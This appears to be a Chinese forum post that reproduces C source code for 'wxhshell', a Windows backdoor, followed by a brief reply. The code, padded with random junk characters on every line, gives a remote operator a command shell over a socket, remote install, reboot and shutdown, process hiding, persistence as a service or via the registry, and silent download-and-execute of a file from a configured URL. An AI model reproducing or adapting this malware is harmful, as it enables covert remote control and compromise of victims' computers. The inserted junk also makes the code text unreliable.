w_\nB}_  
    switch(cmd[0]) { c2/"KT  
  E\ tL   
  // 帮助 Z?-;.G*  
  case '?': { \e_IFISC  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); aUA cR W  
    break; dQ,Q+ON>  
  } U4]30B{;H  
  // 安装 X) 8e4~(?  
  case 'i': { |ribWCv0  
    if(Install()) L,#^&9bHa#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); B4@fY  
    else XWJ SLN(O  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2bkJ /u`i  
    break; VDG|>#[!  
    } &0s*P G  
  // 卸载 lbd(j{h>4  
  case 'r': { F9%,MSt  
    if(Uninstall()) >$Fp}?xX  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); UnP|]]o:I  
    else uN8/Q2   
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); V- /YNRV  
    break; aFyh,  
    } {aoM JJq  
  // 显示 wxhshell 所在路径 l(#1mY5!q8  
  case 'p': { grc:Y  
    char svExeFile[MAX_PATH]; 0',[J  
    strcpy(svExeFile,"\n\r"); M%3Wy"YQ,n  
      strcat(svExeFile,ExeFile); GKCM|Y  
        send(wsh,svExeFile,strlen(svExeFile),0); "3wv:BL  
    break; f$vwuW  
    } ?HV}mS[t  
  // 重启 t-x[:i  
  case 'b': { eIsT!V" 7  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); )Z("O[  
    if(Boot(REBOOT)) p=H3Q?HJ}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); s"q=2i  
    else { Q<1L`_.>  
    closesocket(wsh); 76_<xUt{  
    ExitThread(0); N\'TR6_,b  
    } Yc|uD-y  
    break; X{`1:c'x  
    } Oo1ecbY  
  // 关机 (#If1[L  
  case 'd': { UoHd-  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); oXdel Ju?  
    if(Boot(SHUTDOWN)) ;I+H>$%jZ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); vTHq)C.7G  
    else { !3@{U@*Z]  
    closesocket(wsh); f}2;N  
    ExitThread(0); Je 31".  
    } lY8`5Uz  
    break; $T?]+2,6;  
    } cv]BV>=E  
  // 获取shell V:OiW"/  
  case 's': { b4)k&*dfR  
    CmdShell(wsh); O:._W<  
    closesocket(wsh); 2$ tQ @r  
    ExitThread(0); yyjw?#\8  
    break; |kseKZ3  
  } @y5=J`@=  
  // 退出 0yaMe@&,  
  case 'x': { 57<Di!rt  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); x}|+sS,g  
    CloseIt(wsh); \sITwPA[z  
    break; z+ ZG1\  
    } IT18v[-G  
  // 离开 rI>LjHP  
  case 'q': { y6FKg)  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); )b9_C O}  
    closesocket(wsh); r8,om^N6  
    WSACleanup(); 4gb'7'  
    exit(1); Y& 5.9 s@'  
    break; YQ7@D]#  
        } Fm5Q&'`l  
  } ?!y"OrHg  
  } j`9Qzi1  
U <rI!!#9  
  // 提示信息 Pj&A=  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); r**f,PDZ  
} Bzw19S6y  
  } {[P!$ /  
#ua^{OrC/  
  return; GyK(Vb"h6  
} q/x/N5HU  
~)?|J  
// shell模块句柄 nmg{%P  
int CmdShell(SOCKET sock) |z*>ixK  
{ 3ev -Iqz  
STARTUPINFO si; +`Pmq} ey  
ZeroMemory(&si,sizeof(si)); W-m"@<Z  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; E30Z`$cz:  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; iD714+N(  
PROCESS_INFORMATION ProcessInfo; #ouE r-=  
char cmdline[]="cmd";  n}OU Y  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); |vz9Hs$@l  
  return 0; 96}eR,  
} 1qZG`Vz  
>pdnCv_c  
// 自身启动模式 O:YJ%;w  
int StartFromService(void) ZLrHZhP-+  
{ GW/WUzK  
typedef struct RX>2~^  
{ &a6,ln:P  
  DWORD ExitStatus; ?Oc -aa  
  DWORD PebBaseAddress; kP^*h O!%  
  DWORD AffinityMask; CmHyAw(  
  DWORD BasePriority; `{o$F ::(  
  ULONG UniqueProcessId; RG}}Oh="v  
  ULONG InheritedFromUniqueProcessId; ,H{={aln  
}   PROCESS_BASIC_INFORMATION; d}+W"j;  
I_>`hTiR  
PROCNTQSIP NtQueryInformationProcess; 4K7{f+T  
cz(G]{N  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 2(+P[(N1,  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; r6 }_H?j  
h.}u?{  
  HANDLE             hProcess; (w$'o*z;(  
  PROCESS_BASIC_INFORMATION pbi; ;==j|/ERe  
JD lBVZ!  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ) rpq+~b  
  if(NULL == hInst ) return 0; 3{RL \gh$"  
`eD1|Go9  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); T8Na]V5  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); K<RqBecB  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); tvpN/p  
x7$ax79ly  
  if (!NtQueryInformationProcess) return 0; [.&[<!,.  
$.8 H>c  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); (a#pvEY  
  if(!hProcess) return 0; 0Oap39  
6t m \L  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; S{:Cu}o  
-_>.f(1  
  CloseHandle(hProcess); moG~S]  
!\x?R6K  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); "~\*If  
if(hProcess==NULL) return 0; N RSU+D-z  
P }Te"Y  
HMODULE hMod; p6[ (81  
char procName[255]; -;Uj|^  
unsigned long cbNeeded; eaAPKx  
_#pnjo   
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 1~Mn'O%  
y6%<zhs  
  CloseHandle(hProcess); C6^j#rl  
5[R?iSGL1  
if(strstr(procName,"services")) return 1; // 以服务启动 l$M +.GB<  
gtYRV*^q  
  return 0; // 注册表启动 "8/dD]=f^a  
} m~>@BCn;  
[W;[v<E;  
// 主模块 ^y Vl"/  
int StartWxhshell(LPSTR lpCmdLine) uJ8{HB  
{ -J?~U2  
  SOCKET wsl; iN)af5)[^  
BOOL val=TRUE; Y /lN@  
  int port=0; c-*2dV[@  
  struct sockaddr_in door; 6+PGwCS  
9o_- =>(  
  if(wscfg.ws_autoins) Install(); yL&/m~{s  
u-.L^!k  
port=atoi(lpCmdLine); %?=)!;[  
~L'nz quF  
if(port<=0) port=wscfg.ws_port; (("OYj  
z_l. V/G)  
  WSADATA data; ~:Mm<*lL%  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; }N,>A-P  
e{!vNJ0`  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   H(> M   
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); (oYW]c}G,  
  door.sin_family = AF_INET; .@k*p>K  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); KyLp?!|>  
  door.sin_port = htons(port); MZ~.(&  
M[s\E4l:t  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { d+5:Qrr  
closesocket(wsl); [hnK/4!  
return 1; r\xXU~$9v  
} KY+]RxX  
L_?$ayZ;  
  if(listen(wsl,2) == INVALID_SOCKET) { a5V=!OoMk  
closesocket(wsl); o5 WW{)Q  
return 1; _9kIRmT{  
} Z*eoA  
  Wxhshell(wsl); r0btC@Hxy  
  WSACleanup(); D9o*8h2$  
:Tb7r6  
return 0; _6rKC*Pe1  
bU+9Gi@v  
} tIGs>, a=  
M&[b.t*  
// 以NT服务方式启动 F$yeF^\g  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) [Vp\$;\nT  
{ Le&;g4%  
DWORD   status = 0; T2|:nC)@  
  DWORD   specificError = 0xfffffff; q[c Etp28h  
4_Y!elH)  
  serviceStatus.dwServiceType     = SERVICE_WIN32; |!Ists  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; A.U'Q|  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; {^m5#f 0"  
  serviceStatus.dwWin32ExitCode     = 0; P(;Mb{  
  serviceStatus.dwServiceSpecificExitCode = 0; ]o*$h$?s  
  serviceStatus.dwCheckPoint       = 0; )4ncutb  
  serviceStatus.dwWaitHint       = 0; O<X )p`,`  
38wq (  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); sX'nn   
  if (hServiceStatusHandle==0) return; *#h;c1aP  
3 Gd|YRtk  
status = GetLastError(); (\& 62B1  
  if (status!=NO_ERROR) Vp7b4n<  
{ Fu##'#  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; -u~eZ?(!Ye  
    serviceStatus.dwCheckPoint       = 0; /qXzOd  
    serviceStatus.dwWaitHint       = 0; ^Y 7U1I  
    serviceStatus.dwWin32ExitCode     = status; ,8VXA +'_  
    serviceStatus.dwServiceSpecificExitCode = specificError; yVYkuO  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); >76 |:Nq  
    return; <Uwwux<v  
  } U>A6eWhH  
@p]UvqtB@  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 8\_*1h40s  
  serviceStatus.dwCheckPoint       = 0; qTy v.#{y  
  serviceStatus.dwWaitHint       = 0; 4J8Dh;a`  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 5/(sjMB  
} a_%>CD${t  
Q>%E`h  
// 处理NT服务事件,比如:启动、停止 o9+Q{|r  
VOID WINAPI NTServiceHandler(DWORD fdwControl) WZK :.y  
{ }`]]b+_b>@  
switch(fdwControl) #Fzb8Yo  
{ 1eiw3WU;  
case SERVICE_CONTROL_STOP: - 0DZ::  
  serviceStatus.dwWin32ExitCode = 0; FG# nap{  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; hS_.l}0yf  
  serviceStatus.dwCheckPoint   = 0; iT$d;5_pU  
  serviceStatus.dwWaitHint     = 0; 8&?p  
  { BS.=  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); C P&o%Uc*  
  } )_Iz>)  
  return; mATH*[Y  
case SERVICE_CONTROL_PAUSE: 5rN7':(H!%  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Gh+f1)\FA"  
  break; r?$ &Z^  
case SERVICE_CONTROL_CONTINUE: acae=c|X  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; }.t^D|  
  break; ^O \q3HA_4  
case SERVICE_CONTROL_INTERROGATE: :D4];d>1  
  break; 8]]@S"ZM,\  
}; 5Pqt_ZWy  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); O! (85rp/  
} H &fTh  
nl9kYE [  
// 标准应用程序主函数 c(&AnIlS  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) rkIMM,   
{ |0]YA  
1tyNRoET  
// 获取操作系统版本 $eMK{:$O  
OsIsNt=GetOsVer(); D2$^"  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 5p{25N_t  
#G~wE*VR$  
  // 从命令行安装 RNe9h lr  
  if(strpbrk(lpCmdLine,"iI")) Install(); Gym#b{#":  
ZQ|gt*  
  // 下载执行文件 `#p< rfe  
if(wscfg.ws_downexe) { 9C=~1>S  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) b~9`]+  
  WinExec(wscfg.ws_filenam,SW_HIDE); mF~ys{"t  
} 5\3 swP_7  
m{O Dz :  
if(!OsIsNt) { Iu%^*K%  
// 如果时win9x,隐藏进程并且设置为注册表启动 {83C,C-  
HideProc(); O!,Ca1N  
StartWxhshell(lpCmdLine); l.uN$B  
} Z*Zc]hD  
else 0<3E  
  if(StartFromService()) AHWh}~Yi  
  // 以服务方式启动 X98#QR#m  
  StartServiceCtrlDispatcher(DispatchTable); lJlhl7  
else $':JI#  
  // 普通方式启动 sX!3_ '-  
  StartWxhshell(lpCmdLine); Wt"ww~h`(  
z6 a,0&;-L  
return 0; bl`D+/V   
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
温馨提示:欢迎交流讨论,请勿纯表情、纯引用!
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八